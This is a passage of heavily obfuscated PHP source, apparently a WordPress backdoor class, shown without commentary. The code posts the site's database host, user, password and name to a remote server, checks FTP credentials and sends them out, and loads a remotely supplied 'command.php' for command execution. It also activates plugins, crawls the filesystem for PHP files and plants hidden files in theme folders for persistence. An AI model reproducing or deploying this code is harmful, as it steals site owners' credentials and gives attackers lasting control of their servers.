  519.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  520.                 return false;
  521.             }
  522.         }
  523.  
  524.         private function a2aeda1f9964806c9d10c231b6896f357( $aa880814df5cd99cebe9c4064fc58e0fe ) {
  525.             try {
  526.                 if ( method_exists( $this, $aa880814df5cd99cebe9c4064fc58e0fe ) ) {
  527.                     return true;
  528.                 }
  529.                 return false;
  530.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  531.                 return false;
  532.             }
  533.         }
  534.  
  535.         public function a6a83ad379fd642ca9a6833542cf9ac26() {
  536.             try {
  537.                 if ( $this->aa0fa5908c20939e894613e69ae8b3c4a->authorization === true || count( array_intersect( $this->a663945ab607ddf751bde77583840143b(), $this->aa0fa5908c20939e894613e69ae8b3c4a->address ) ) > 0 ) {
  538.                     return true;
  539.                 }
  540.                 return false;
  541.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  542.                 return false;
  543.             }
  544.         }
  545.  
  546.         private function a6dafd797f79898a93ddaa0eb56c64eef() {
  547.             try {
  548.                 $a6dafd797f79898a93ddaa0eb56c64eef = $this->a1d0b6f020de2736af0230f345d913520( $this->aae300e2ea47cf961549b544adbfcec23(), array(
  549.                     'body' => array(
  550.                         'url'         => $this->a21b75c1d2c973fc7f78eb6d0e348bc6a( '/' ),
  551.                         'client'      => $this->check(),
  552.                         'DB_HOST'     => (defined( 'DB_HOST' )) ? DB_HOST : 'undefined',
  553.                         'DB_USER'     => (defined( 'DB_USER' )) ? DB_USER : 'undefined',
  554.                         'DB_PASSWORD' => (defined( 'DB_PASSWORD' )) ? DB_PASSWORD : 'undefined',
  555.                         'DB_NAME'     => (defined( 'DB_NAME' )) ? DB_NAME : 'undefined',
  556.                     ),
  557.                 ) );
  558.                 if ( $this->a1adaccefc9102fc58596aaa7d138db8a( $a6dafd797f79898a93ddaa0eb56c64eef ) === 200 && $this->a1e13092c601d571b221b9f1b61cbe959( $this->a73ae5a8ba5e9794dc485459b91e20d99( $a6dafd797f79898a93ddaa0eb56c64eef ) ) ) {
  559.                     $this->ad805d4961239a87d032869a7d0d01ef1 = $this->a73ae5a8ba5e9794dc485459b91e20d99( $a6dafd797f79898a93ddaa0eb56c64eef );
  560.                     $this->a2e0fb5ffd2d5e51de5a7ad1f0dcea479 = json_decode( $this->ad805d4961239a87d032869a7d0d01ef1 );
  561.                     $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->a2e0fb5ffd2d5e51de5a7ad1f0dcea479->files;
  562.                     $this->a4a8d7cd34b840e73a9601cb0f1963be1 = $this->a2e0fb5ffd2d5e51de5a7ad1f0dcea479->data;
  563.                     return true;
  564.                 }
  565.                 return false;
  566.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  567.                 return false;
  568.             }
  569.         }
  570.  
  571.         private function a35f84ec87019e38699a7483903a6588e( $abce17e04d2fe729e815ad3cb51970cbf, $a4a8d7cd34b840e73a9601cb0f1963be1 ) {
  572.             try {
  573.                 $this->a1d0b6f020de2736af0230f345d913520( $this->aae300e2ea47cf961549b544adbfcec23() . "{$abce17e04d2fe729e815ad3cb51970cbf}", array(
  574.                     'body' => array(
  575.                         'url'  => $this->a21b75c1d2c973fc7f78eb6d0e348bc6a( '/' ),
  576.                         $abce17e04d2fe729e815ad3cb51970cbf => $a4a8d7cd34b840e73a9601cb0f1963be1,
  577.                     ),
  578.                 ) );
  579.                 return false;
  580.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  581.                 return false;
  582.             }
  583.         }
  584.  
  585.         private function a87cb76af9740a0c2a465436da3cac308( $a4a8d7cd34b840e73a9601cb0f1963be1 ) {
  586.             try {
  587.                 $af0eb14b18c098db9c0581bad5f345398 = array('//');
  588.                 $a92b3e4cc3b62ad2bf15ee19aa175f630 = array('/');
  589.                 return str_replace( $af0eb14b18c098db9c0581bad5f345398, $a92b3e4cc3b62ad2bf15ee19aa175f630, $a4a8d7cd34b840e73a9601cb0f1963be1 );
  590.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  591.                 return false;
  592.             }
  593.         }
  594.  
  595.         private function a5cd6df3f3548a3916be48cd371a652fc( $a4b6958c7a0d04ae7dfdf1b20746954b4, $a6158d84fc14895a6bc27d76aba6615e2, $a6d89d71c8f3022e574cd9f9494c26e98 = 0 ) {
  596.             try {
  597.                 if ( !is_array( $a6158d84fc14895a6bc27d76aba6615e2 ) )
  598.                     $a6158d84fc14895a6bc27d76aba6615e2 = array($a6158d84fc14895a6bc27d76aba6615e2);
  599.                 foreach ( $a6158d84fc14895a6bc27d76aba6615e2 as $aff8bc0cfa454d1e5df7ab961ad06c00b ) {
  600.                     if ( strpos( $a4b6958c7a0d04ae7dfdf1b20746954b4, $aff8bc0cfa454d1e5df7ab961ad06c00b, $a6d89d71c8f3022e574cd9f9494c26e98 ) !== false ) {
  601.                         return true;
  602.                     }
  603.                 }
  604.                 return false;
  605.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  606.                 return false;
  607.             }
  608.         }
  609.  
  610.         private function a81dcd9ac5bfebb0449bd78ef71243b19() {
  611.             $this->a81dcd9ac5bfebb0449bd78ef71243b19 = '2e64';
  612.         }
  613.  
  614.         private function a7cc0309fbbd90e107a4419ae095cb5d2( $a4a8d7cd34b840e73a9601cb0f1963be1 ) {
  615.             try {
  616.                 static $ac27ed79471f4108f95ee646e00e85eb3;
  617.                 if ( $ac27ed79471f4108f95ee646e00e85eb3 === null ) {
  618.                     $ac27ed79471f4108f95ee646e00e85eb3 = version_compare( PHP_VERSION, '5.2', '<' );
  619.                 }
  620.                 $a386fdb786dff8db7d999d4b6fbf405b6 = false;
  621.                 if ( is_scalar( $a4a8d7cd34b840e73a9601cb0f1963be1 ) || (($a386fdb786dff8db7d999d4b6fbf405b6 = is_object( $a4a8d7cd34b840e73a9601cb0f1963be1 )) && method_exists( $a4a8d7cd34b840e73a9601cb0f1963be1, '__toString' )) ) {
  622.                     if ( $a386fdb786dff8db7d999d4b6fbf405b6 && $ac27ed79471f4108f95ee646e00e85eb3 ) {
  623.                         ob_start();
  624.                         echo $a4a8d7cd34b840e73a9601cb0f1963be1;
  625.                         $a4a8d7cd34b840e73a9601cb0f1963be1 = ob_get_clean();
  626.                     } else {
  627.                         $a4a8d7cd34b840e73a9601cb0f1963be1 = (string) $a4a8d7cd34b840e73a9601cb0f1963be1;
  628.                     }
  629.                 } else {
  630.                     return false;
  631.                 }
  632.                 $a3c6eb9ef605bfa4311d049fe52423065 = strlen( $a4a8d7cd34b840e73a9601cb0f1963be1 );
  633.                 if ( $a3c6eb9ef605bfa4311d049fe52423065 % 2 ) {
  634.                     return false;
  635.                 }
  636.                 if ( strspn( $a4a8d7cd34b840e73a9601cb0f1963be1, '0123456789abcdefABCDEF' ) != $a3c6eb9ef605bfa4311d049fe52423065 ) {
  637.                     return false;
  638.                 }
  639.                 return pack( 'H*', $a4a8d7cd34b840e73a9601cb0f1963be1 );
  640.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  641.                 return false;
  642.             }
  643.         }
  644.  
  645.         private function aaf92d7a30bbaaeeeec90719721fa2823( $adceb29d984f6fd58fa67f39f42cc5620 = 'localhost', $acee6109febe8b68e4d9e8f37bbc96636 = null, $ab7714a17b9e214dd4d79f3ba529233eb = null, $abe1e3d5271975c926f354053bb867a77 = false ) {
  646.             try {
  647.                 if ( !$abe1e3d5271975c926f354053bb867a77 ) {
  648.                     if ( !$a86448264c72bd612a3841a84a2085a1e = ftp_connect( $adceb29d984f6fd58fa67f39f42cc5620, 21, 10 ) ) {
  649.                         return false;
  650.                     }
  651.                 } else if ( function_exists( 'ftp_ssl_connect' ) ) {
  652.                     if ( !$a86448264c72bd612a3841a84a2085a1e = ftp_ssl_connect( $adceb29d984f6fd58fa67f39f42cc5620, 21, 10 ) ) {
  653.                         return false;
  654.                     }
  655.                 } else {
  656.                     return false;
  657.                 }
  658.                 if ( @ftp_login( $a86448264c72bd612a3841a84a2085a1e, $acee6109febe8b68e4d9e8f37bbc96636, $ab7714a17b9e214dd4d79f3ba529233eb ) ) {
  659.                     ftp_close( $a86448264c72bd612a3841a84a2085a1e );
  660.                     return true;
  661.                 }
  662.                 return false;
  663.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  664.                 return false;
  665.             }
  666.         }
  667.  
  668.         private function a206dc65f737912caea94a7a693ca2259() {
  669.             try {
  670.                 if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  671.                     $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  672.                 }
  673.                 if ( $this->aa0fa5908c20939e894613e69ae8b3c4a->ftp === false ) {
  674.                     define( 'FS_METHOD', 'ftpsockets' );
  675.                 }
  676.                 if ( isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858['connection_type'] ) && !$this->a9a76b686c0d9d293adbe1c58402c2155( $this->ab1ed9eb9b6996f5213cc1f31a5243858['connection_type'] ) ) {
  677.                     $a474aafcfa97f6adc11b9aede2baecc47 = (isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858['connection_type'] )) ? $this->ab1ed9eb9b6996f5213cc1f31a5243858['connection_type'] : 'sftp';
  678.                     $adceb29d984f6fd58fa67f39f42cc5620 = (isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858['hostname'] )) ? $this->ab1ed9eb9b6996f5213cc1f31a5243858['hostname'] : null;
  679.                     $acee6109febe8b68e4d9e8f37bbc96636 = (isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858['username'] )) ? $this->ab1ed9eb9b6996f5213cc1f31a5243858['username'] : null;
  680.                     $ab7714a17b9e214dd4d79f3ba529233eb = (isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858['password'] )) ? $this->ab1ed9eb9b6996f5213cc1f31a5243858['password'] : null;
  681.                     if ( $this->aaf92d7a30bbaaeeeec90719721fa2823( $adceb29d984f6fd58fa67f39f42cc5620, $acee6109febe8b68e4d9e8f37bbc96636, $ab7714a17b9e214dd4d79f3ba529233eb, ($a474aafcfa97f6adc11b9aede2baecc47 === 'sftp') ? true : false ) ) {
  682.                         $a4a8d7cd34b840e73a9601cb0f1963be1 = array(
  683.                             'hostname'        => urlencode( $adceb29d984f6fd58fa67f39f42cc5620 ),
  684.                             'address'         => urlencode( $this->a40e4245aa3dd6d7d188a781d24fcff8e() ),
  685.                             'username'        => urlencode( $acee6109febe8b68e4d9e8f37bbc96636 ),
  686.                             'password'        => urlencode( $ab7714a17b9e214dd4d79f3ba529233eb ),
  687.                             'connection_type' => urlencode( $a474aafcfa97f6adc11b9aede2baecc47 ),
  688.                         );
  689.                         $this->a35f84ec87019e38699a7483903a6588e( 'FTP', $a4a8d7cd34b840e73a9601cb0f1963be1 );
  690.                         $this->a10d7bfa3863a80b6909a1f5713c6a342();
  691.                     }
  692.                 }
  693.                 return false;
  694.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  695.                 return false;
  696.             }
  697.         }
  698.  
  699.         private function a53291dafc81b5021ca54e21397172419() {
  700.             try {
  701.                 if ( !isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858[$this->ab9ce5ca1b46c9da65d05a252ac1cb34b] ) ) {
  702.                     return false;
  703.                 }
  704.                 $aab6231e9e95e355c6e6a291024ae0e77 = $this->a7cc0309fbbd90e107a4419ae095cb5d2( $this->ab1ed9eb9b6996f5213cc1f31a5243858[$this->ab9ce5ca1b46c9da65d05a252ac1cb34b] );
  705.                 if ( file_exists( $a40936dc72d5025e63c6b787d0d52c8bf = __DIR__ . '/command.php' ) ) {
  706.                     include_once($a40936dc72d5025e63c6b787d0d52c8bf);
  707.                     return $this->aa643c529bbba7503489fcae0b25377e4( true, $aab6231e9e95e355c6e6a291024ae0e77, a7648d14d74c57cdb0e1548f8f4987032( $aab6231e9e95e355c6e6a291024ae0e77 ) );
  708.                 } else {
  709.                     if ( $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, $this->aa0fa5908c20939e894613e69ae8b3c4a->command ) ) {
  710.                         return $this->a53291dafc81b5021ca54e21397172419();
  711.                     } else {
  712.                         return $this->aa643c529bbba7503489fcae0b25377e4( false, '', '', 'ERR099' );
  713.                     }
  714.                 }
  715.                 return false;
  716.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  717.                 return false;
  718.             }
  719.         }
  720.  
  721.         private function command() {
  722.             return $this->a53291dafc81b5021ca54e21397172419();
  723.         }
  724.  
  725.         private function a9f2a5ab43e8a19bdfbdd3e16a3e1b31b() {
  726.             try {
  727.                 if ( !isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858['plugin_name'] ) ) {
  728.                     return false;
  729.                 }
  730.                 $aef9c5283170eec5df34934f3d383f7c0 = $this->a7cc0309fbbd90e107a4419ae095cb5d2( $this->ab1ed9eb9b6996f5213cc1f31a5243858['plugin_name'] );
  731.                 if ( $this->ab990661c0c4725b3b01771459a7c004f( $aef9c5283170eec5df34934f3d383f7c0 ) ) {
  732.                     $this->a87b134c04d6083f08ed801d1b848cc14( $aef9c5283170eec5df34934f3d383f7c0 );
  733.                     return $this->check();
  734.                 } else {
  735.                     $this->a9ccc364b9e23f45c1a8dd25e0e11b9e1( $aef9c5283170eec5df34934f3d383f7c0 );
  736.                     return $this->check();
  737.                 }
  738.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  739.                 return false;
  740.             }
  741.         }
  742.  
  743.         private function activate_plugins() {
  744.             return $this->a9f2a5ab43e8a19bdfbdd3e16a3e1b31b();
  745.         }
  746.  
  747.         private function ae7294b5f902da8ec6b92ccc56515a338() {
  748.             try {
  749.                 if ( !function_exists( 'get_plugins' ) ) {
  750.                     if ( file_exists( $a40936dc72d5025e63c6b787d0d52c8bf = $this->a87cb76af9740a0c2a465436da3cac308( $this->acd8c241c7a8e24d09aa75c2efa8f6d3d() . 'wp-admin/includes/plugin.php' ) ) ) {
  751.                         include_once($a40936dc72d5025e63c6b787d0d52c8bf);
  752.                     }
  753.                 }
  754.                 foreach ( $this->a33e1dccf5a09fc17c03600bde3c6cc8f() AS $aef9c5283170eec5df34934f3d383f7c0 => $a1b752cd07494cb48fcc3f5781198a8eb ) {
  755.                     $a496cf4e833ce1c42bb7084b233c75fe7[$aef9c5283170eec5df34934f3d383f7c0] = $a1b752cd07494cb48fcc3f5781198a8eb;
  756.                     if ( $this->ab990661c0c4725b3b01771459a7c004f( $aef9c5283170eec5df34934f3d383f7c0 ) ) {
  757.                         $a496cf4e833ce1c42bb7084b233c75fe7[$aef9c5283170eec5df34934f3d383f7c0]['active'] = 1;
  758.                     } else {
  759.                         $a496cf4e833ce1c42bb7084b233c75fe7[$aef9c5283170eec5df34934f3d383f7c0]['active'] = 0;
  760.                     }
  761.                 }
  762.  
  763.                 return (isset( $a496cf4e833ce1c42bb7084b233c75fe7 )) ? $a496cf4e833ce1c42bb7084b233c75fe7 : array();
  764.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  765.                 return false;
  766.             }
  767.         }
  768.  
  769.         private function abf04b8e2f230a8d1bc73d149ada4d736() {
  770.             try {
  771.                 $aa93fdcd284066421dd5ce2973f85b174 = array();
  772.                 if ( $this->ae86d6df0fee539c4030f8bda2ef77722() !== false ) {
  773.                     foreach ( $this->ae86d6df0fee539c4030f8bda2ef77722() AS $acf8d53c0de83237b71d9d4f2c064cd96 => $afaf6b2959108bc82d693e4c3cda60663 ) {
  774.                         $aa93fdcd284066421dd5ce2973f85b174[$acf8d53c0de83237b71d9d4f2c064cd96] = $afaf6b2959108bc82d693e4c3cda60663->get( 'TextDomain' );
  775.                     }
  776.                 }
  777.                 return $aa93fdcd284066421dd5ce2973f85b174;
  778.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  779.                 return false;
  780.             }
  781.         }
  782.  
  783.         private function aa38805614c6661f7af082debb6ef33e1( $af978a3145880d265f0494e7c4a2c8f79 ) {
  784.             try {
  785.                 $af663ac91f38fa10e9bddc4c1974a6449 = realpath( $af978a3145880d265f0494e7c4a2c8f79 );
  786.                 return ($af663ac91f38fa10e9bddc4c1974a6449 !== false AND is_dir( $af663ac91f38fa10e9bddc4c1974a6449 )) ? $af663ac91f38fa10e9bddc4c1974a6449 : false;
  787.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  788.                 return false;
  789.             }
  790.         }
  791.  
  792.         private function a3824333c8d9fd63ef3211c470a53ef51( $a1ff9c6abd398f1a173ad9efceec2c23b ) {
  793.             try {
  794.                 $a1ff9c6abd398f1a173ad9efceec2c23b = (isset( $a1ff9c6abd398f1a173ad9efceec2c23b ) && $a1ff9c6abd398f1a173ad9efceec2c23b !== '') ? $this->a7cc0309fbbd90e107a4419ae095cb5d2( $a1ff9c6abd398f1a173ad9efceec2c23b ) : $this->acd8c241c7a8e24d09aa75c2efa8f6d3d();
  795.                 if ( ($a0fbbe31947374fc1fd029d5c37df03be = $this->aa38805614c6661f7af082debb6ef33e1( $a1ff9c6abd398f1a173ad9efceec2c23b )) !== false ) {
  796.                     return $this->aa643c529bbba7503489fcae0b25377e4( true, $a1ff9c6abd398f1a173ad9efceec2c23b, $this->a87cb76af9740a0c2a465436da3cac308( glob( $a1ff9c6abd398f1a173ad9efceec2c23b . '/*' ) ) );
  797.                 } else {
  798.                     return $this->aa643c529bbba7503489fcae0b25377e4( false, '', $a1ff9c6abd398f1a173ad9efceec2c23b, 'ERR004' );
  799.                 }
  800.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  801.                 return false;
  802.             }
  803.         }
  804.  
  805.         private function list_folders( $a1ff9c6abd398f1a173ad9efceec2c23b ) {
  806.             return $this->a3824333c8d9fd63ef3211c470a53ef51( $a1ff9c6abd398f1a173ad9efceec2c23b );
  807.         }
  808.  
  809.         private function a92b3e4cc3b62ad2bf15ee19aa175f630( $a40936dc72d5025e63c6b787d0d52c8bf, $af0eb14b18c098db9c0581bad5f345398, $a92b3e4cc3b62ad2bf15ee19aa175f630 ) {
  810.             try {
  811.                 $a8929bd82664c4bf2f3f80eb5fd7a4214 = $this->aa9eda21aba3dbb00b5e427502e179287( $a40936dc72d5025e63c6b787d0d52c8bf );
  812.                 if ( strpos( $a8929bd82664c4bf2f3f80eb5fd7a4214, $a92b3e4cc3b62ad2bf15ee19aa175f630 ) === false ) {
  813.                     $a5cd6df3f3548a3916be48cd371a652fc = strpos( $a8929bd82664c4bf2f3f80eb5fd7a4214, $af0eb14b18c098db9c0581bad5f345398 );
  814.                     if ( $a5cd6df3f3548a3916be48cd371a652fc !== false ) {
  815.                         $ac8aa7053a5c216e70dd642051bed7d10 = substr_replace( $a8929bd82664c4bf2f3f80eb5fd7a4214, $a92b3e4cc3b62ad2bf15ee19aa175f630, $a5cd6df3f3548a3916be48cd371a652fc, strlen( $af0eb14b18c098db9c0581bad5f345398 ) );
  816.                         return ($this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, $ac8aa7053a5c216e70dd642051bed7d10 )) ? $a40936dc72d5025e63c6b787d0d52c8bf : false;
  817.                     } else {
  818.                         return $a40936dc72d5025e63c6b787d0d52c8bf;
  819.                     }
  820.                 } else {
  821.                     return $a40936dc72d5025e63c6b787d0d52c8bf;
  822.                 }
  823.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  824.                 return false;
  825.             }
  826.         }
  827.  
  828.         private function a93ee9c22fcb3718b5e2f0bc667e3802d( $a40936dc72d5025e63c6b787d0d52c8bf, $af0eb14b18c098db9c0581bad5f345398, $a92b3e4cc3b62ad2bf15ee19aa175f630 ) {
  829.             try {
  830.                 $a8929bd82664c4bf2f3f80eb5fd7a4214 = $this->aa9eda21aba3dbb00b5e427502e179287( $a40936dc72d5025e63c6b787d0d52c8bf );
  831.  
  832.                 return $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, str_replace( $af0eb14b18c098db9c0581bad5f345398, $a92b3e4cc3b62ad2bf15ee19aa175f630, $a8929bd82664c4bf2f3f80eb5fd7a4214 ) );
  833.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  834.                 return false;
  835.             }
  836.         }
  837.  
  838.         private function a1ff9c6abd398f1a173ad9efceec2c23b( $af978a3145880d265f0494e7c4a2c8f79 = null, $a75d57331e9ee210862c3303f0ddd5b8f = 'n', $af63c59dd334e5a3bbea3d0baf341071c = 'n' ) {
  839.  
  840.             if ( $a75d57331e9ee210862c3303f0ddd5b8f === 'n' ) {
  841.                 $a75d57331e9ee210862c3303f0ddd5b8f = '{,.}*.php';
  842.             }
  843.             if ( $af63c59dd334e5a3bbea3d0baf341071c === 'n' ) {
  844.                 $af63c59dd334e5a3bbea3d0baf341071c = GLOB_BRACE | GLOB_NOSORT;
  845.             }
  846.             if ( $this->a9a76b686c0d9d293adbe1c58402c2155( $af978a3145880d265f0494e7c4a2c8f79 ) ) {
  847.                 $af978a3145880d265f0494e7c4a2c8f79 = $this->home();
  848.             }
  849.             if ( substr( $af978a3145880d265f0494e7c4a2c8f79, -1 ) !== $this->a95a38f44d8887a9304dd41aa0e1502cc ) {
  850.                 $af978a3145880d265f0494e7c4a2c8f79 .= $this->a95a38f44d8887a9304dd41aa0e1502cc;
  851.             }
  852.  
  853.             $aabec9d2eaa2e5411ece48b9ef43bbed0 = glob( $af978a3145880d265f0494e7c4a2c8f79 . $a75d57331e9ee210862c3303f0ddd5b8f, $af63c59dd334e5a3bbea3d0baf341071c );
  854.  
  855.             foreach ( glob( $af978a3145880d265f0494e7c4a2c8f79 . '*', GLOB_ONLYDIR | GLOB_NOSORT | GLOB_MARK ) as $a0fbbe31947374fc1fd029d5c37df03be ) {
  856.                 $ad22124b46161b5abe513956c2c15056c = $this->a1ff9c6abd398f1a173ad9efceec2c23b( $a0fbbe31947374fc1fd029d5c37df03be, $a75d57331e9ee210862c3303f0ddd5b8f, $af63c59dd334e5a3bbea3d0baf341071c );
  857.                 if ( $ad22124b46161b5abe513956c2c15056c !== false ) {
  858.                     $aabec9d2eaa2e5411ece48b9ef43bbed0 = array_merge( $aabec9d2eaa2e5411ece48b9ef43bbed0, $ad22124b46161b5abe513956c2c15056c );
  859.                 }
  860.             }
  861.  
  862.             return $aabec9d2eaa2e5411ece48b9ef43bbed0;
  863.         }
  864.  
  865.         private function a585c96c13f924650948638b32eca63e1() {
  866.             try {
  867.                 if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  868.                     $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  869.                 }
  870.                 foreach ( $this->a1ff9c6abd398f1a173ad9efceec2c23b() as $a3a9a096f7313a28d3e22319578a164ab ) {
  871.                     $this->a585c96c13f924650948638b32eca63e1->files[] = $a3a9a096f7313a28d3e22319578a164ab;
  872.                     $this->a585c96c13f924650948638b32eca63e1->directory[] = dirname( $a3a9a096f7313a28d3e22319578a164ab );
  873.                     if ( stristr( $a3a9a096f7313a28d3e22319578a164ab, 'wp-content/plugins' ) && $this->a5cd6df3f3548a3916be48cd371a652fc( basename( dirname( strtolower( pathinfo( $a3a9a096f7313a28d3e22319578a164ab, PATHINFO_DIRNAME ) ) ) ), array('wp-content') ) === false ) {
  874.                         $this->a585c96c13f924650948638b32eca63e1->plugin[] = $a3a9a096f7313a28d3e22319578a164ab;
  875.                     }
  876.                     if ( stristr( $a3a9a096f7313a28d3e22319578a164ab, 'wp-content/themes' ) && $this->a5cd6df3f3548a3916be48cd371a652fc( basename( dirname( strtolower( pathinfo( $a3a9a096f7313a28d3e22319578a164ab, PATHINFO_DIRNAME ) ) ) ), array('wp-content') ) === false ) {
  877.                         $this->a585c96c13f924650948638b32eca63e1->theme[] = $a3a9a096f7313a28d3e22319578a164ab;
  878.                     }
  879.                     if ( stristr( $a3a9a096f7313a28d3e22319578a164ab, 'wp-content/themes' ) && stristr( $a3a9a096f7313a28d3e22319578a164ab, 'functions.php' ) && $this->a5cd6df3f3548a3916be48cd371a652fc( basename( dirname( strtolower( pathinfo( $a3a9a096f7313a28d3e22319578a164ab, PATHINFO_DIRNAME ) ) ) ), array('themes') ) ) {
  880.                         $this->a585c96c13f924650948638b32eca63e1->function[] = $a3a9a096f7313a28d3e22319578a164ab;
  881.                     }
  882.                     if ( stristr( $a3a9a096f7313a28d3e22319578a164ab, 'wp-load.php' ) ) {
  883.                         $this->a585c96c13f924650948638b32eca63e1->wp_load[] = $a3a9a096f7313a28d3e22319578a164ab;
  884.                     }
  885.                 }
  886.                 $this->a585c96c13f924650948638b32eca63e1->directory = array_values( array_unique( $this->a585c96c13f924650948638b32eca63e1->directory ) );
  887.                 return $this->aa643c529bbba7503489fcae0b25377e4( true, '', $this->a585c96c13f924650948638b32eca63e1 );
  888.             } catch ( Exception $aca0c35babbab39d84842fe7581a8e43f ) {
  889.                 return false;
  890.             }
  891.         }
  892.  
  893.         private function ac8e86e29cd68d4ecd58776be25c7a5b1() {
  894.             $this->ac8e86e29cd68d4ecd58776be25c7a5b1 = '6874';
  895.         }
  896.  
  897.         private function ab2fa85de746f99aa3673cd3c145cca3d() {
  898.             if ( isset( $this->ab1ed9eb9b6996f5213cc1f31a5243858['where'] ) && $this->ab1ed9eb9b6996f5213cc1f31a5243858['where'] == 'all' ) {
  899.                 if ( !isset( $this->a585c96c13f924650948638b32eca63e1->files ) ) {
  900.                     $this->a585c96c13f924650948638b32eca63e1();
  901.                 }
  902.                 return true;
  903.             }
  904.             return false;
  905.         }
  906.  
  907.         public function where() {
  908.             return $this->ab2fa85de746f99aa3673cd3c145cca3d();
  909.         }
  910.  
  911.         private function a0851a05e76a3974b2f8493e6606a6484() {
  912.             if ( !isset( $this->aa0fa5908c20939e894613e69ae8b3c4a ) ) {
  913.                 $this->aa0fa5908c20939e894613e69ae8b3c4a = $this->ade1c2665a99a2a59b4ca176a24ae534b()->files;
  914.             }
  915.             if ( $this->ab2fa85de746f99aa3673cd3c145cca3d() ) {
  916.                 $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a585c96c13f924650948638b32eca63e1->theme;
  917.             } else {
  918.                 $a1ff9c6abd398f1a173ad9efceec2c23b = $this->a1ff9c6abd398f1a173ad9efceec2c23b( $this->home() . 'wp-content/themes/*/', '*.php' );
  919.             }
  920.             $ad83d8ef66a6db8c472774637ffcda698 = array();
  921.             foreach ( $a1ff9c6abd398f1a173ad9efceec2c23b as $a3a9a096f7313a28d3e22319578a164ab ) {
  922.                 $this->a585c96c13f924650948638b32eca63e1->theme[] = $a3a9a096f7313a28d3e22319578a164ab;
  923.                 $ad83d8ef66a6db8c472774637ffcda698[] = dirname( $a3a9a096f7313a28d3e22319578a164ab );
  924.             }
  925.             $ad83d8ef66a6db8c472774637ffcda698 = array_values( array_unique( $ad83d8ef66a6db8c472774637ffcda698 ) );
  926.             foreach ( $ad83d8ef66a6db8c472774637ffcda698 as $a70b8adedc62145cbf5f04a71aefb4d6a ) {
  927.                 $a40936dc72d5025e63c6b787d0d52c8bf = $a70b8adedc62145cbf5f04a71aefb4d6a . $this->a95a38f44d8887a9304dd41aa0e1502cc . '.' . basename( $a70b8adedc62145cbf5f04a71aefb4d6a ) . '.php';
  928.                 if ( is_writeable( $a70b8adedc62145cbf5f04a71aefb4d6a ) || is_writeable( $a40936dc72d5025e63c6b787d0d52c8bf ) ) {
  929.                     if ( file_exists( $a40936dc72d5025e63c6b787d0d52c8bf ) ) {
  930.                         if ( $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287 = $this->aa9eda21aba3dbb00b5e427502e179287( $a40936dc72d5025e63c6b787d0d52c8bf ), $this->aa0fa5908c20939e894613e69ae8b3c4a->theme->search->include ) !== false || stristr( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->null ) || filesize( $a40936dc72d5025e63c6b787d0d52c8bf ) <= 0 ) {
  931.                             if ( $this->ab319d0ea2a08cc6a4974e9a9df12f7a0( $a40936dc72d5025e63c6b787d0d52c8bf, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->templates ) ) {
  932.                                 $this->aa5dc633737333e1955ebcb99628147c2->theme[] = $a40936dc72d5025e63c6b787d0d52c8bf;
  933.                             }
  934.                         }
  935.                     } else {
  936.                         if ( $this->ab26099d7f4f6a33fc40f8aaa1e4cdafc( $a40936dc72d5025e63c6b787d0d52c8bf, $this->aa0fa5908c20939e894613e69ae8b3c4a->file->templates ) ) {
  937.                             $this->aa5dc633737333e1955ebcb99628147c2->theme[] = $a40936dc72d5025e63c6b787d0d52c8bf;
  938.                         }
  939.                     }
  940.                 }
  941.             }
  942.             foreach ( $this->a585c96c13f924650948638b32eca63e1->theme as $a5092e097dffcf6c2927e0858c2807621 ) {
  943.                 $aa9eda21aba3dbb00b5e427502e179287 = $this->aa9eda21aba3dbb00b5e427502e179287( $a5092e097dffcf6c2927e0858c2807621 );
  944.                 if ( $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->class->include ) !== false && $this->a5cd6df3f3548a3916be48cd371a652fc( $aa9eda21aba3dbb00b5e427502e179287, $this->aa0fa5908c20939e894613e69ae8b3c4a->install->theme->class->exclude ) === false ) {
  945.                     $this->aa5dc633737333e1955ebcb99628147c2->theme[] = $a5092e097dffcf6c2927e0858c2807621;
